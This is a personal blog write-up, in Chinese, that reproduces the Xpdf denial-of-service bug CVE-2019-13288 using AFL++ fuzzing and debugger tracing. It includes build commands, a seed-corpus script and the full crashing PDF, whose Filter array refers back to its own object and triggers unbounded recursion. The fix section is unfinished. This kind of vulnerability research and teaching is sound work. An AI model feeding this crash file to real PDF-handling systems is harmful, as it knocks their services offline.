1499 words
7 minutes
CVE-2019-13288: Xpdf
2026-02-10
2026-02-11

CVE-2019-13288#

Description#

In Xpdf 4.01.01, the Parser::getObj() function in Parser.cc may cause infinite recursion via a crafted file. A remote attacker can leverage this for a DoS attack. This is similar to CVE-2018-16646.

Compile#

Download#

这里选择的是 Xpdf Source Code - xpdf 3.02,而不是 4.01.01

Terminal window
wget https://dl.xpdfreader.com/old/xpdf-3.02.tar.gz
tar -zxvf xpdf-3.02.tar.gz

Build#

先用 LTO mode 插下桩:

Terminal window
cd xpdf-3.02
CC=afl-clang-lto CXX=afl-clang-lto++ ./configure --prefix="$PWD/install"
make -j`nproc`
make install

考虑到插桩后的代码影响调试,所以我们再单独编译一个调试用的版本:

Terminal window
CC=clang CXX=clang++ CFLAGS="-O0 -g -gdwarf-4 -fno-inline -fno-builtin -fno-omit-frame-pointer" CXXFLAGS="$CFLAGS" ./configure --prefix="$PWD/install-dbg"
make -j`nproc`
make install

Samples#

这里我用脚本自动生成一些最小样本,先创建一个 python 虚拟环境,以免搞乱系统环境:

Terminal window
uv venv .venv
uv pip install reportlab pillow

生成样本的脚本如下,使用 uv run python .venv/gen_corpus.py 运行。

gen_corpus.py
#!/usr/bin/env python3
import os
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import A4
from reportlab.pdfbase import pdfmetrics
from reportlab.pdfbase.ttfonts import TTFont
from PIL import Image
OUTDIR = "corpus/pdf"
FONT_PATH = "/usr/share/fonts/TTF/Inconsolata-Black.ttf"
os.makedirs(OUTDIR, exist_ok=True)
def path(name):
return os.path.join(OUTDIR, name)
def gen_image(fname):
img = Image.new("RGB", (32, 32), color=(255, 0, 0))
img.save(fname, "JPEG")
def gen_minimal():
c = canvas.Canvas(path("id_000000_minimal.pdf"))
c.drawString(10, 10, "hi")
c.save()
def gen_text():
c = canvas.Canvas(path("id_000001_text.pdf"))
for i in range(5):
c.drawString(50, 800 - i * 20, f"text line {i}")
c.save()
def gen_multipage():
c = canvas.Canvas(path("id_000002_multipage.pdf"))
for i in range(5):
c.drawString(100, 700, f"page {i}")
c.showPage()
c.save()
def gen_image_pdf():
img_path = path("tmp.jpg")
gen_image(img_path)
c = canvas.Canvas(path("id_000003_image.pdf"), pagesize=A4)
c.drawImage(img_path, 100, 500, width=100, height=100)
c.save()
os.remove(img_path)
def gen_font_pdf():
pdfmetrics.registerFont(TTFont("FuzzFont", FONT_PATH))
c = canvas.Canvas(path("id_000004_font.pdf"))
c.setFont("FuzzFont", 12)
c.drawString(100, 700, "font fuzz test")
c.save()
def gen_stream_filter():
# Hand-written PDF: stream + FlateDecode (parser favorite)
data = b"""%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /Contents 4 0 R >>
endobj
4 0 obj
<< /Length 5 /Filter /FlateDecode >>
stream
x\x9c\x03\x00\x00\x00\x00\x01
endstream
endobj
xref
0 5
0000000000 65535 f
0000000010 00000 n
0000000060 00000 n
0000000115 00000 n
0000000175 00000 n
trailer
<< /Root 1 0 R >>
startxref
240
%%EOF
"""
with open(path("id_000005_stream_filter.pdf"), "wb") as f:
f.write(data)
def main():
gen_minimal()
gen_text()
gen_multipage()
gen_image_pdf()
gen_font_pdf()
gen_stream_filter()
print(f"[+] PDF corpus generated in ./{OUTDIR}")
if __name__ == "__main__":
main()

Fuzzing#

有了样本之后就可以用下面这个指令开始跑 fuzz 了:

Terminal window
afl-fuzz -i corpus/ -o out/ -s 1337 -- ./install/bin/pdftotext @@ -

跑呀跑,刚跑两分钟就出了几个 crashes,然后我去吃了个饭,大概十几分钟,回来一看居然已经有 33 个 crashes 了。简单看了下,发现除了下面这个符合描述的 crash 样本外,还爆出来不少因为其它原因崩溃的 corpus 。不过由于我们的目标是复现 CVE-2019-13288 所描述的漏洞,所以这里只会分析这个递归炸栈的 DoS 攻击样本。

Analysis#

根据上面的截图,我们不难发现,在执行 Parser::getObj 时反复使用了 objNum=7, objGen=0 作为参数,而 Object::fetchXRef::fetch 的调用虽然早于 Parser::getObj,并且也在后续 backtrace 中重复出现,但从名字来看就知道,它们只是用于转发参数的函数,而不是真正创建 / 重入对象的函数,所以,我们应该从 Parser::getObj 开始分析,暂且认为它是递归环入口。

Parser.cc:94 下个断点,我们发现它直接进入了 makeStream,一路 n 下去,最后进入了 addFilters

所以 addFilters 才是递归环的入口。

Stream *Stream::addFilters(Object *dict) {
Object obj, obj2;
Object params, params2;
Stream *str;
int i;
str = this;
dict->dictLookup("Filter", &obj);
if (obj.isNull()) {
obj.free();
dict->dictLookup("F", &obj);
}
dict->dictLookup("DecodeParms", &params);
if (params.isNull()) {
params.free();
dict->dictLookup("DP", &params);
}
if (obj.isName()) {
str = makeFilter(obj.getName(), str, &params);
} else if (obj.isArray()) {
for (i = 0; i < obj.arrayGetLength(); ++i) {
obj.arrayGet(i, &obj2);
if (params.isArray())
params.arrayGet(i, &params2);
else
params2.initNull();
if (obj2.isName()) {
str = makeFilter(obj2.getName(), str, &params2);
} else {
error(getPos(), "Bad filter name");
str = new EOFStream(str);
}
obj2.free();
params2.free();
}
} else if (!obj.isNull()) {
error(getPos(), "Bad 'Filter' attribute in stream");
}
obj.free();
params.free();
return str;
}

调到 dictLookup("Filter", &obj) 的时候发现,它会去找 (objNum=7, objGen=0)Dictionary 有没有 Filter

我们的 crash 样本中这个 Indirect Object 长这样:

37 collapsed lines
%PDF-1.3
%“Œ‹ž ReportLab Generated PDF document (opensource)
1 0 obj
<<
/F1 2 0 R
>>
endobj
2 0 obj
<<
/BaseFont /Helvetica /Encoding /WinAnsiEncoding /Name /F1 /Subtype /Type1 /Type /Font
>>
endobj
3 0 obj
<<
/Contents 7 0 R /MediaBox [ 0 0 595.2756 841.8898 ] /Parent 6 0 R /Resources <<
/Font 1 0 R /Pr~cSet [ /PDF /Text /ImageB /ImageC /ImageI ]
>> /Rotate 0 /Trans <<
>>
/Type /Page
>>
endobj
4 0 obj
<<
/PageMode /UseNone /Pages 6 0 R /Type /Catalog
>>
endobj
5 0 obj
<<
/Author (anonymous) /CreationDate (D:20260210132607+08'00') /Creator (anonymous) /erated PDF doModDate (D:20260210132607+08'00') /Producer (ReportLab PDF Library - \(opensource\))
/Subject (unspecified) /Title (unti€€€€€€€€€€€€€€€€€€€€€€€>
endobj
6 0 obj
<<
/Count 1 /Kids [ 3 0 R ] /Type /Pages
>>
endobj
7 0 obj
<<
/Filter [ /ASCII85Decode /FlateDects 7 0 R /Meode ] /Length 87
>>
stream
GapQh0E=F,0U\H3T\pNYT^QKk?tc>IP,;W#U1^23ihPEM_?CW4KISi9!25KZ"c\I79neZ[Kb,ht$3`$^8YHZB~>endstream
endobj
23 collapsed lines
xref
0 8
00 65535 f
000061 00000 n
000092 00000 n
000199 00000 n
000402 00000 n
00 Off00 n
000731 00000 n
000790 00000 n
trailer
<<
/ID
[<a9e650489693d00e7eßßßßßßßßßßßßab1f137a614fa1><a9e650489693d00e7eab1f137a614fa1>]
% ReportLab genKeywords () /cument -- digest (opensource)
/Info 5 0 R
/Root 4 0 R
/Size 8
>>
startxref
966
%%EOF

显然存在 Dictionary,并且里面是有 Filter 的,所以它会拿到这个 Object 的 Filter,得到一个长度为 4 的 Array

这和我们 crash 样本中的内容完美匹配。

如果对此有疑问的话,可以去看 PDF reference: Adobe portable document format, version 1.3 。之所以看 v1.3 而不是更新的版本,是因为我们的 crash 样本用的 PDF 规格版本就是 1.3,即 %PDF-1.3

继续往下走,我们会进入 else if (obj.isArray()) 这个分支:

回顾最开始的递归链,我们知道程序是执行完 Object::arrayGet -> Array::get 后反回到 fetch,再次获取 (objNum=7, objGen=0) 导致无限递归的。我们步入这个函数看看当前 for 循环在 i = 0 的时候拿到了什么:

我们发现它确实按照我们预期的那样,获取到了数组索引为 0 的元素,由于类型为 objName,所以之后会进入 if (obj2.isName()) 这个分支,而又因为 Object 内部其实是一个 tagged union,所以 obj2.getName() 获取到的值为 ASCII85Decode

再次回顾一开始的递归调用链,我们注意到造成 Array::get 后返回到 fetch 再次获取到 (objNum=7, objGen=0) 的索引是 i = 2,直接 b Array::get if i == 2 后跳过去看,确实获取到了 7 0 R

最后,返回到 Object::fetch 后由于 type == objRef && xref 成立,导致再次 fetch 了 (objNum=7, objGen=0),如此循环,陷入无限递归,最终耗尽了栈空间,BOOM!

Fix#

TODO

CVE-2019-13288: Xpdf
https://cubeyond.net/posts/fuzz/xpdf-cve-2019-13288/
Author
CuB3y0nd
Published at
2026-02-10
License
CC BY-NC-SA 4.0